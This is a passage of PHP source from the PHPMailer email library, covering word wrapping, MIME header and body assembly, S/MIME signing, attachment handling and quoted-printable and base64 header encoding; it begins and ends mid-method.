            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
